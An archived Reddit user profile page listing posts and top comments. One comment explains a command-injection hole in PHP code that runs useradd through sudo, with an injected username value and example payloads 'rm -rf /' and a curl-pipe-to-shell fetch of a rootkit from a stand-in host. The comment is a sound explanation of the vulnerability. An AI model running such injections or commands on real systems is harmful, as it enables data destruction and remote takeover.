Skip to content

u/BCMM

In this archive from Jan 2012 to Dec 2026

2
posts
1.1k
comments
0
media
5.1k
score

Top posts

Two strange USB problems

I have a couple of odd problems with USB input, and I can't work out if they are hardware or software issues. Firstly, my keyboard occasionally ignores all input for a period of a few seconds. This problem is intermittent, but can happen as frequently as every couple of minutes. These faults are not...

3 points4 comments
Open on Reddit

Downsides to kernel.task_delayacct?

Kernel.org docs note that Delay accounting is disabled by default at boot up but does not explain why. Is there a significant performance hit? Some sort of security implication? I was thinking of just leaving this on to make iotop more informative, but the fact that it's not enabled by default on ke...

1 points3 comments
Open on Reddit

Top comments

I'm going to arrogantly hope you're talking about my comment, and link it.

A similar principle might apply here, since "a" turns in to "i" (single bit flip). What I don't understand is why "t" consistently ends the whole string, almost as if it was being interpreted as the null character.

140 points

The problems are:

  1. sudoers has been set up so that PHP can execute any command as root.

  2. The expression shell_exec("sudo useradd -p $encpass -g groupname -s /bin/bash $username");

Suppose you make a new user on the site, by typing "password" in the password field, and "fred; sudo malicious_command" in the username box. Then

sudo useradd -p $encpass -g groupname -s /bin/bash $username

expands to

sudo useradd -p LlmKkt0I4LZBo -g groupname -s /bin/bash fred; sudo malicious_command

The semicolon is essentially a command separator in sh, so that is exactly equivalent to

sudo useradd -p LlmKkt0I4LZBo -g groupname -s /bin/bash fred
sudo malicious_command

A user called "fred" will be created, and then, since sudoers is set up to permit anything, malicious_command will be executed as root. You could replace malicious_command with rm -rf / to destroy the system, or curl http://foo.bar/path/to/my_rootkit | sh to download and execute a remote access tool.

EDIT: I missed the actual question. This post assumes that he actually encrypted the password, but the problem could well be that he's doing

 sudo useradd -p password -g groupname -s /bin/bash fred

instead of

 sudo useradd -p LlmKkt0I4LZBo -g groupname -s /bin/bash fred

, in which case the exploit would still work, but the user creation would not.

90 points

Our current device-managed shingled magnetic recording (DMSMR) (2TB, 3TB, 4TB, and 6TB) WD Red series will be the choice for the majority of NAS owners whose demands are lighter SOHO workloads.

Bloody hell, they're really doubling-down on SMR being suitable for NAS?

81 points

Subreddits

Keyboard shortcuts

Move and act

jork
Next / previous post or comment
Enteroro
Open the post
f
Open the media viewer
s
Save
h
Hide (the toast has Undo)
Tab
Right after an action: the toast's Undo
x
Collapse the comment
v
Next layout: cards, compact, grid

Go to

/
Search
gthenh
Home
gthena
All
gthens
Subreddits
gthenl
Library
?
This list
Esc
Close a menu or this list

In the viewer

←or→
Previous / next file
↑or↓
Previous / next post
korj
Previous / next post
Space
Play / pause
m
Mute
z
Zoom
s
Save
o
Open the post (on its own page: back to it)
Esc
Close

Keys do nothing while you type in a box.